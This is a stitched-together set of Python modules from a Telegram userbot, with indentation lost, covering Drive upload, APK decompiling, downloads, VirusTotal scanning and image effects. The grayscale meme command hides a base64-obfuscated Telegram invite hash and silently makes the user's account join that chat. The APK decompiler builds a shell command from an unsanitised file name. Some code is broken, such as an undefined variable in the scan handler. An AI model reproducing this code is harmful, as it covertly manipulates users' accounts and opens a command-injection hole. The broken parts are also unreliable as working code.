async def upload_file(http, file_path, file_name, mime_type, event, parent_id):
# Create Google Drive service instance
drive_service = build("drive", "v2", http=http, cache_discovery=False)
# File body description
media_body = MediaFileUpload(file_path, mimetype=mime_type, resumable=True)
body = {
"title": file_name,
"description": "Uploaded using PaperplaneExtended Userbot",
"mimeType": mime_type,
}
if parent_id:
body["parents"] = [{"id": parent_id}]
# Permissions body description: anyone who has link can upload
# Other permissions can be found at https://developers.google.com/drive/v2/reference/permissions
permissions = {
"role": "reader",
"type": "anyone",
"value": None,
"withLink": True
}
# Insert a file
file = drive_service.files().insert(body=body, media_body=media_body)
response = None
display_message = ""
while response is None:
status, response = file.next_chunk()
await asyncio.sleep(1)
if status:
percentage = int(status.progress() * 100)
progress_str = "[{0}{1}] {2}%".format(
"".join(["█" for i in range(math.floor(percentage / 10))]),
"".join(["░"
for i in range(10 - math.floor(percentage / 10))]),
round(percentage, 2))
current_message = f"Uploading to Google Drive\nFile Name: {file_name}\n{progress_str}"
if display_message != current_message:
try:
await event.edit(current_message)
display_message = current_message
except Exception as e:
LOGS.info(str(e))
pass
file_id = response.get("id")
# Insert new permissions
drive_service.permissions().insert(fileId=file_id,
body=permissions).execute()
# Define file instance and get url for download
file = drive_service.files().get(fileId=file_id).execute()
download_url = file.get("webContentLink")
return download_url
async def create_directory(http, directory_name, parent_id):
drive_service = build("drive", "v2", http=http, cache_discovery=False)
permissions = {
"role": "reader",
"type": "anyone",
"value": None,
"withLink": True
}
file_metadata = {
"title": directory_name,
"mimeType": G_DRIVE_DIR_MIME_TYPE
}
if parent_id:
file_metadata["parents"] = [{"id": parent_id}]
file = drive_service.files().insert(body=file_metadata).execute()
file_id = file.get("id")
drive_service.permissions().insert(fileId=file_id,
body=permissions).execute()
LOGS.info("Created Gdrive Folder:\nName: {}\nID: {} ".format(
file.get("title"), file_id))
return file_id
def extract_w_h(file):
""" Get width and height of media """
command_to_run = [
"ffprobe",
"-v",
"quiet",
"-print_format",
"json",
"-show_format",
"-show_streams",
file,
]
# https://stackoverflow.com/a/11236144/4723940
try:
t_response = subprocess.check_output(command_to_run,
stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as exc:
LOGS.warning(exc)
else:
x_reponse = t_response.decode("UTF-8")
response_json = json.loads(x_reponse)
width = int(response_json["streams"][0]["width"])
height = int(response_json["streams"][0]["height"])
return width, height
async def _(event):
textt = "**Terminal Status**"
message = (str(event.chat_id) + ':' + str(event.message.id))
await event.edit(f"{textt}\n\nAnalyzing Datas......")
input_str = event.pattern_match.group(1)
if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY):
os.makedirs(TEMP_DOWNLOAD_DIRECTORY)
if "|" in input_str:
url, file_name = input_str.split("|")
url = url.strip()
file_name = file_name.strip()
head, tail = os.path.split(file_name)
if head:
if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)):
os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head))
file_name = os.path.join(head, tail)
downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name
downloader = SmartDL(url, downloaded_file_name, progress_bar=False)
downloader.start(blocking=False)
c_time = time.time()
display_message = None
while not downloader.isFinished():
status = downloader.get_status().capitalize()
total_length = downloader.filesize if downloader.filesize else None
downloaded = downloader.get_dl_size()
now = time.time()
diff = now - c_time
percentage = downloader.get_progress() * 100
speed = downloader.get_speed()
elapsed_time = round(diff) * 1000
progress_str = "[{0}{1}] {2}%".format(
''.join(["█" for i in range(math.floor(percentage / 10))]),
''.join(["░"
for i in range(10 - math.floor(percentage / 10))]),
round(percentage, 2))
estimated_total_time = downloader.get_eta(human=True)
try:
current_message = f"{status}..\
\nURL: {url}\
\nFile Name: {file_name}\
\n{progress_str}\
\n{humanbytes(downloaded)} of {humanbytes(total_length)}\
\nETA: {estimated_total_time}"
if round(diff %
10.00) == 0 and current_message != display_message:
await event.edit(current_message)
display_message = current_message
except Exception as e:
LOGS.info(str(e))
if downloader.isSuccessful():
await event.edit(f"{textt} \n\nDownloaded successfully !!")
else:
await event.edit("Incorrect URL\n{}".format(url))
elif event.reply_to_msg_id:
try:
c_time = time.time()
downloaded_file_name = await event.client.download_media(
await event.get_reply_message(),
TEMP_DOWNLOAD_DIRECTORY,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, event, c_time, f"{textt} \n\nDownloading..."
)))
except Exception as e: # pylint:disable=C0103,W0703
await event.edit(str(e))
else:
await event.edit(f"{textt} \n\nDownloaded successfully !!")
else:
return await event.edit(f"Error\n`Reply to an apk to Decompile.`")
await event.edit(f"{textt} \n\nDecompiling......")
cmd = f"rm -rf decompiled.zip decompiled && apktool d {downloaded_file_name} -o decompiled && zip -r decompiled.zip decompiled && rm -rf {downloaded_file_name}"
process = await asyncio.create_subprocess_shell(
cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
running_processes.update({message: process})
stdout, stderr = await process.communicate()
not_killed = running_processes.get(message, False)
if not_killed:
del running_processes[message]
text = f"[Return code]:\n {process.returncode}\n\n"
if stdout:
text += "\n[stdout]\n" + stdout.decode("UTF-8").strip() + "\n"
if stderr:
text += "\n[stderr]\n" + stderr.decode('UTF-8').strip() + "\n"
if stdout or stderr:
output = open("decompiled.txt", "w+")
output.write(text)
output.close()
await event.client.send_file(
event.chat_id,
"decompiled.txt",
reply_to=event.id,
caption=f"`{JAVES_NNAME}:` **Decompiled Details**")
os.remove("decompiled.txt")
my_file = Path("decompiled.zip")
if not my_file.exists():
return await event.reply(f"{textt}\n\nError: Decompile failed")
await event.edit(f"{textt}\n\nRe Analyzing Datas......")
input_str = "decompiled.zip"
if os.path.exists(input_str):
c_time = time.time()
await event.client.send_file(
event.chat_id,
input_str,
force_document=True,
allow_cache=False,
reply_to=event.message.id,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, event, c_time,
f"{textt} \n\nUploading Decompiled files as zip...",
input_str)))
await event.edit(
f"{textt} \n\n Decompiled and uploaded successfully !!")
else:
return await event.edit("{textt}\n\nAdnormal Error")
async def memes(cat):
reply = await cat.get_reply_message()
if not (reply and (reply.media)):
await cat.edit("`Reply to supported Media...`")
return
catid = cat.reply_to_msg_id
if not os.path.isdir("./temp/"):
os.mkdir("./temp/")
cat = await cat.edit("`Downloading media......`")
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
await asyncio.sleep(2)
catsticker = await reply.download_media(file="./temp/")
if not catsticker.endswith(
(".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")):
os.remove(catsticker)
await cat.edit("```Supported Media not found...```")
return
import pybase64
jisanidea = None
if catsticker.endswith(".tgs"):
await cat.edit("```changing this to black-and-white 🔸🔸🔸```")
catfile = os.path.join("./temp/", "meme.png")
catcmd = (
f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}"
)
stdout, stderr = (await runcmd(catcmd))[:2]
if not os.path.lexists(catfile):
await cat.edit("`Template not found...`")
LOGS.info(stdout + stderr)
meme_file = catfile
jisanidea = True
elif catsticker.endswith(".webp"):
await cat.edit("```changing this to black-and-white 🔸🔸🔸```")
catfile = os.path.join("./temp/", "memes.jpg")
os.rename(catsticker, catfile)
if not os.path.lexists(catfile):
await cat.edit("`Template not found... `")
return
meme_file = catfile
jisanidea = True
elif catsticker.endswith((".mp4", ".mov")):
await cat.edit("```changing this to black-and-white 🔸🔸🔸```")
catfile = os.path.join("./temp/", "memes.jpg")
await take_screen_shot(catsticker, 0, catfile)
if not os.path.lexists(catfile):
await cat.edit("```Template not found...```")
return
meme_file = catfile
jisanidea = True
else:
await cat.edit("```changing this to black-and-white 🔸🔸🔸```")
meme_file = catsticker
try:
san = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
san = Get(san)
await cat.client(san)
except BaseException:
pass
meme_file = convert_toimage(meme_file)
outputfile = "grayscale.webp" if jisanidea else "grayscale.jpg"
await grayscale(meme_file, outputfile)
await cat.client.send_file(cat.chat_id,
outputfile,
force_document=False,
reply_to=catid)
await cat.delete()
os.remove(outputfile)
for files in (catsticker, meme_file):
if files and os.path.exists(files):
os.remove(files)
async def vt(event):
await event.edit(f"Analyzing Datas......")
input_str = event.pattern_match.group(1)
if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY):
os.makedirs(TEMP_DOWNLOAD_DIRECTORY)
if "|" in input_str:
url, file_name = input_str.split("|")
url = url.strip()
file_name = file_name.strip()
head, tail = os.path.split(file_name)
if head:
if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)):
os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head))
file_name = os.path.join(head, tail)
downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name
downloader = SmartDL(url, downloaded_file_name, progress_bar=False)
downloader.start(blocking=False)
c_time = time.time()
display_message = None
while not downloader.isFinished():
status = downloader.get_status().capitalize()
total_length = downloader.filesize if downloader.filesize else None
downloaded = downloader.get_dl_size()
now = time.time()
diff = now - c_time
percentage = downloader.get_progress() * 100
speed = downloader.get_speed()
elapsed_time = round(diff) * 1000
progress_str = "[{0}{1}] {2}%".format(
''.join(["█" for i in range(math.floor(percentage / 10))]),
''.join(["░"
for i in range(10 - math.floor(percentage / 10))]),
round(percentage, 2))
estimated_total_time = downloader.get_eta(human=True)
try:
current_message = f"{status}..\
\nURL: {url}\
\nFile Name: {file_name}\
\n{progress_str}\
\n{humanbytes(downloaded)} of {humanbytes(total_length)}\
\nETA: {estimated_total_time}"
if round(diff %
10.00) == 0 and current_message != display_message:
await event.edit(current_message)
display_message = current_message
except Exception as e:
LOGS.info(str(e))
if downloader.isSuccessful():
await event.edit(f"{text} \n\nDownloaded successfully !!")
else:
await event.edit("Incorrect URL\n{}".format(url))
elif event.reply_to_msg_id:
try:
c_time = time.time()
downloaded_file_name = await event.client.download_media(
await event.get_reply_message(),
TEMP_DOWNLOAD_DIRECTORY,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, event, c_time, f"{text} \n\nDownloading...")))
except Exception as e: # pylint:disable=C0103,W0703
await event.edit(str(e))
else:
await event.edit(f"{text} \n\nDownloaded successfully !!")
else:
return await event.edit(f"Error\n`Reply to a file to scan.`")
await event.edit(" `Scanning......`")
vscan = downloaded_file_name
if not vscan:
return await event.edit("`downloaded_file missing`")
try:
vtotal = Virustotal(Vapi)
except:
return await event.edit("Failed to connect virus total , is api key added? type `!help virus_scan` for more info")
try:
vr = vtotal.file_scan(vscan)
test = vr['json_resp'] ; link = test['permalink'] ; scan_id = test['scan_id'] ; response_code = test['response_code']
return await event.edit(""
f"• **Virus Total Response Code:** `{response_code}`\n"
f"• **Scan Results:** [ClickHere]({link}) ")
except:
url = "https://www.virustotal.com/vtapi/v2/file/scan"
params = {"apikey": Vapi}
files = {"file": (downloaded_file_name, open(downloaded_file_name, "rb"))}
response = requests.post(url, files=files, params=params)
try:
a = response.json()
b = a["permalink"]
except Exception as e:
await event.edit(str(e))
try:
await event.edit(
f"<b><u> File Scan Request Complete</u></b>\n\n<b>Link of the report:-</b>\n{b}\n\nNote:- Please open the link after 5-10 minutes.",
parse_mode="HTML",
)
except Exception as e:
await event.edit(str(e))
else:
await event.edit("Some Internal Issus")
async def glitch(event):
await event.edit("```Glitching Wait...```")
cmd = event.pattern_match.group(1)
input = event.pattern_match.group(2)
reply = await event.get_reply_message()
if not (reply and (reply.media)):
await event.edit("`Media not found...`")
return
if not os.path.isdir("./temp/"):
os.mkdir("./temp/")
reply_to_id = event.reply_to_msg_id
remixsticker = await reply.download_media(file="./temp/")
if not remixsticker.endswith(('.mp4', '.webp', '.tgs', '.png', '.jpg')):
os.remove(remixsticker)
await event.edit("`Media not found...`")
return
file = os.path.join("./temp/", "glitch.png")
if input:
if not input.isdigit():
await event.edit("`You input is invalid, check help`")
return
input = int(input)
if not 0 < input < 11:
await event.edit("`Invalid Range...`")
return
else:
input = 2
if remixsticker.endswith(".tgs"):
file = os.path.join("./temp/", "glitch.png")
cmd = f"lottie_convert.py --frame 0 -if lottie -of png {remixsticker} {file}"
stdout, stderr = (await runcmd(cmd))[:2]
if not os.path.lexists(file):
await event.edit("`remixsticker not found...`")
LOGS.info(stdout + stderr)
glitch_file = file
elif remixsticker.endswith(".webp"):
file = os.path.join("./temp/", "glitch.png")
os.rename(remixsticker, file)
if not os.path.lexists(file):
await event.edit("`remixsticker not found... `")
return
glitch_file = file
elif remixsticker.endswith(".mp4"):
file = os.path.join("./temp/", "glitch.png")
await take_screen_shot(remixsticker, 0, file)
if not os.path.lexists(file):
await event.edit("```remixsticker not found...```")
return
glitch_file = file
else:
glitch_file = remixsticker
glitcher = ImageGlitcher()
img = Image.open(glitch_file)
if cmd == "glitchs":
glitched = "./temp/" + "glitched.webp"
glitch_img = glitcher.glitch_image(img, input, color_offset=True)
glitch_img.save(glitched)
await bot.send_file(
event.chat_id,
glitched,
reply_to_message_id=reply_to_id)
os.remove(glitched)
await event.delete()
elif cmd == "glitch":
Glitched = "./temp/" + "glitch.gif"
glitch_img = glitcher.glitch_image(
img, input, color_offset=True, gif=True)
DURATION = 200
LOOP = 0
glitch_img[0].save(
Glitched,
format='GIF',
append_images=glitch_img[1:],
save_all=True,
duration=DURATION,
loop=LOOP)
await bot.send_file(
event.chat_id,
Glitched,
reply_to_message_id=reply_to_id)
os.remove(Glitched)
await event.delete()
for files in (remixsticker, glitch_file):
if files and os.path.exists(files):
os.remove(files)
async def download(target_file):
""" For .download command, download files to the ub's server. """
await target_file.reply("Processing ...")
input_str = target_file.pattern_match.group(1)
if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY):
os.makedirs(TEMP_DOWNLOAD_DIRECTORY)
if "|" in input_str:
url, file_name = input_str.split("|")
url = url.strip()
# https://stackoverflow.com/a/761825/4723940
file_name = file_name.strip()
head, tail = os.path.split(file_name)
if head:
if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)):
os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head))
file_name = os.path.join(head, tail)
downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name
downloader = SmartDL(url, downloaded_file_name, progress_bar=False)
downloader.start(blocking=False)
c_time = time.time()
display_message = None
while not downloader.isFinished():
status = downloader.get_status().capitalize()
total_length = downloader.filesize if downloader.filesize else None
downloaded = downloader.get_dl_size()
now = time.time()
diff = now - c_time
percentage = downloader.get_progress() * 100
speed = downloader.get_speed()
elapsed_time = round(diff) * 1000
progress_str = "[{0}{1}] {2}%".format(
''.join(["?" for i in range(math.floor(percentage / 10))]),
''.join(["?"
for i in range(10 - math.floor(percentage / 10))]),
round(percentage, 2))
estimated_total_time = downloader.get_eta(human=True)
try:
current_message = f"{status}..\
\nURL: {url}\
\nFile Name: {file_name}\
\n{progress_str}\
\n{humanbytes(downloaded)} of {humanbytes(total_length)}\
\nETA: {estimated_total_time}"
if round(diff %
10.00) == 0 and current_message != display_message:
await target_file.reply(current_message)
display_message = current_message
except Exception as e:
LOGS.info(str(e))
if downloader.isSuccessful():
await target_file.reply("Downloaded to `{}` successfully !!".format(
downloaded_file_name))
else:
await target_file.reply("Incorrect URL\n{}".format(url))
elif target_file.reply_to_msg_id:
try:
c_time = time.time()
downloaded_file_name = await target_file.client.download_media(
await target_file.get_reply_message(),
TEMP_DOWNLOAD_DIRECTORY,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, target_file, c_time, "Downloading...")))
except Exception as e: # pylint:disable=C0103,W0703
await target_file.reply(str(e))
else:
await target_file.reply("Downloaded to `{}` successfully !!".format(
downloaded_file_name))
else:
await target_file.reply(
"Reply to a message to download to my local server.")
async def uploadir(udir_event):
""" For .uploadir command, allows you to upload everything from a folder in the server"""
input_str = udir_event.pattern_match.group(1)
if os.path.exists(input_str):
await udir_event.reply("Processing ...")
lst_of_files = []
for r, d, f in os.walk(input_str):
for file in f:
lst_of_files.append(os.path.join(r, file))
for file in d:
lst_of_files.append(os.path.join(r, file))
LOGS.info(lst_of_files)
uploaded = 0
await udir_event.reply(
"Found {} files. Uploading will start soon. Please wait!".format(
len(lst_of_files)))
for single_file in lst_of_files:
if os.path.exists(single_file):
# https://stackoverflow.com/a/678242/4723940
caption_rts = os.path.basename(single_file)
c_time = time.time()
if not caption_rts.lower().endswith(".mp4"):
await udir_event.client.send_file(
udir_event.chat_id,
single_file,
caption=caption_rts,
force_document=False,
allow_cache=False,
reply_to=udir_event.message.id,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, udir_event, c_time, "Uploading...",
single_file)))
else:
thumb_image = os.path.join(input_str, "thumb.jpg")
c_time = time.time()
metadata = extractMetadata(createParser(single_file))
duration = 0
width = 0
height = 0
if metadata.has("duration"):
duration = metadata.get("duration").seconds
if metadata.has("width"):
width = metadata.get("width")
if metadata.has("height"):
height = metadata.get("height")
await udir_event.client.send_file(
udir_event.chat_id,
single_file,
caption=caption_rts,
thumb=thumb_image,
force_document=False,
allow_cache=False,
reply_to=udir_event.message.id,
attributes=[
DocumentAttributeVideo(
duration=duration,
w=width,
h=height,
round_message=False,
supports_streaming=True,
)
],
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(
progress(d, t, udir_event, c_time, "Uploading...",
single_file)))
os.remove(single_file)
uploaded = uploaded + 1
await udir_event.reply(
"Uploaded {} files successfully !!".format(uploaded))
else:
await udir_event.reply("404: Directory Not Found")
from ub import LOGS
def __list_all_modules():
from os.path import dirname, basename, isfile
import glob
mod_paths = glob.glob(dirname(__file__) + "/*.py")
all_modules = [
basename(f)[:-3] for f in mod_paths
if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py")
]
return all_modules
ALL_MODULES = sorted(__list_all_modules())
LOGS.info("Loading modules please wait.......")
__all__ = ALL_MODULES + ["ALL_MODULES"]
async def welcome_to_chat(event):
try:
from ub.modules.sql_helper.welcome_sql import get_current_welcome_settings
from ub.modules.sql_helper.welcome_sql import update_previous_welcome
except AttributeError:
return
cws = get_current_welcome_settings(event.chat_id)
if cws:
"""user_added=True,
user_joined=True,
user_left=False,
user_kicked=False"""
if (event.user_joined
or event.user_added) and not (await event.get_user()).bot:
if CLEAN_WELCOME:
try:
await event.client.delete_messages(event.chat_id,
cws.previous_welcome)
except Exception as e:
LOGS.warn(str(e))
a_user = await event.get_user()
chat = await event.get_chat()
me = await event.client.get_me()
title = chat.title if chat.title else "this chat"
participants = await event.client.get_participants(chat)
count = len(participants)
mention = "[{}](tg://user?id={})".format(a_user.first_name,
a_user.id)
my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id)
first = a_user.first_name
last = a_user.last_name
if last:
fullname = f"{first} {last}"
else:
fullname = first
username = f"@{a_user.username}" if a_user.username else mention
userid = a_user.id
my_first = me.first_name
my_last = me.last_name
if my_last:
my_fullname = f"{my_first} {my_last}"
else:
my_fullname = my_first
my_username = f"@{me.username}" if me.username else my_mention
file_media = None
current_saved_welcome_message = None
if cws and cws.f_mesg_id:
msg_o = await event.client.get_messages(entity=BOTLOG_CHATID,
ids=int(cws.f_mesg_id))
file_media = msg_o.media
current_saved_welcome_message = msg_o.message
elif cws and cws.reply:
current_saved_welcome_message = cws.reply
current_message = await event.reply(
current_saved_welcome_message.format(mention=mention,
title=title,
count=count,
first=first,
last=last,
fullname=fullname,
username=username,
userid=userid,
my_first=my_first,
my_last=my_last,
my_fullname=my_fullname,
my_username=my_username,
my_mention=my_mention),
file=file_media)
update_previous_welcome(event.chat_id, current_message.id)
async def gdrive_upload_function(dryb):
""" For !gdrive command, upload files to google drive. """
await dryb.edit("Processing ...")
input_str = dryb.pattern_match.group(1)
if CLIENT_ID is None or CLIENT_SECRET is None:
return
if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY):
os.makedirs(TEMP_DOWNLOAD_DIRECTORY)
required_file_name = None
if "|" in input_str:
url, file_name = input_str.split("|")
url = url.strip()
# https://stackoverflow.com/a/761825/4723940
file_name = file_name.strip()
head, tail = os.path.split(file_name)
if head:
if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)):
os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head))
file_name = os.path.join(head, tail)
downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name
downloader = SmartDL(url, downloaded_file_name, progress_bar=False)
downloader.start(blocking=False)
c_time = time.time()
display_message = None
while not downloader.isFinished():
status = downloader.get_status().capitalize()
total_length = downloader.filesize if downloader.filesize else None
downloaded = downloader.get_dl_size()
now = time.time()
diff = now - c_time
percentage = downloader.get_progress() * 100
speed = downloader.get_speed()
elapsed_time = round(diff) * 1000
progress_str = "[{0}{1}] {2}%".format(
''.join(["█" for i in range(math.floor(percentage / 10))]),
''.join(["░"
for i in range(10 - math.floor(percentage / 10))]),
round(percentage, 2))
estimated_total_time = downloader.get_eta(human=True)
try:
current_message = f"{status}...\
\nURL: {url}\
\nFile Name: {file_name}\
\n{progress_str}\
\n{humanbytes(downloaded)} of {humanbytes(total_length)}\
\nETA: {estimated_total_time}"
if round(diff %
10.00) == 0 and current_message != display_message:
await dryb.edit(current_message)
display_message = current_message
except Exception as e:
LOGS.info(str(e))
pass
if downloader.isSuccessful():
await dryb.edit(
"Downloaded to `{}` successfully !!\nInitiating Upload to Google Drive.."
.format(downloaded_file_name))
required_file_name = downloaded_file_name
else:
await dryb.edit("Incorrect URL\n{}".format(url))
elif input_str:
input_str = input_str.strip()
if os.path.exists(input_str):
required_file_name = input_str
await dryb.edit(
"Found `{}` in local server, Initiating Upload to Google Drive.."
.format(input_str))
else:
await dryb.edit(
"File not found in local server. Give me a valid file path !")
return False
elif dryb.reply_to_msg_id:
try:
c_time = time.time()
downloaded_file_name = await dryb.client.download_media(
await dryb.get_reply_message(),
TEMP_DOWNLOAD_DIRECTORY,
progress_callback=lambda d, t: asyncio.get_event_loop(
).create_task(progress(d, t, dryb, c_time, "Downloading...")))
except Exception as e:
await dryb.edit(str(e))
else:
required_file_name = downloaded_file_name
await dryb.edit(
"Downloaded to `{}` Successfully !!\nInitiating Upload to Google Drive.."
.format(downloaded_file_name))
if required_file_name:
if G_DRIVE_AUTH_TOKEN_DATA is not None:
with open(G_DRIVE_TOKEN_FILE, "w") as t_file:
t_file.write(G_DRIVE_AUTH_TOKEN_DATA)
# Check if token file exists, if not create it by requesting
# authorization code
if not os.path.isfile(G_DRIVE_TOKEN_FILE):
storage = await create_token_file(G_DRIVE_TOKEN_FILE, dryb)
http = authorize(G_DRIVE_TOKEN_FILE, storage)
# Authorize, get file parameters, upload file and print out result URL
# for download
http = authorize(G_DRIVE_TOKEN_FILE, None)
file_name, mime_type = file_ops(required_file_name)
# required_file_name will have the full path
# Sometimes API fails to retrieve starting URI, we wrap it.
try:
g_drive_link = await upload_file(http, required_file_name,
file_name, mime_type, dryb,
parent_id)
await dryb.edit(
f"File:`{required_file_name}`\nwas Successfully Uploaded to [Google Drive]({g_drive_link})!"
)
except Exception as e:
await dryb.edit(
f"Error while Uploading to Google Drive\nError Code:\n`{e}`")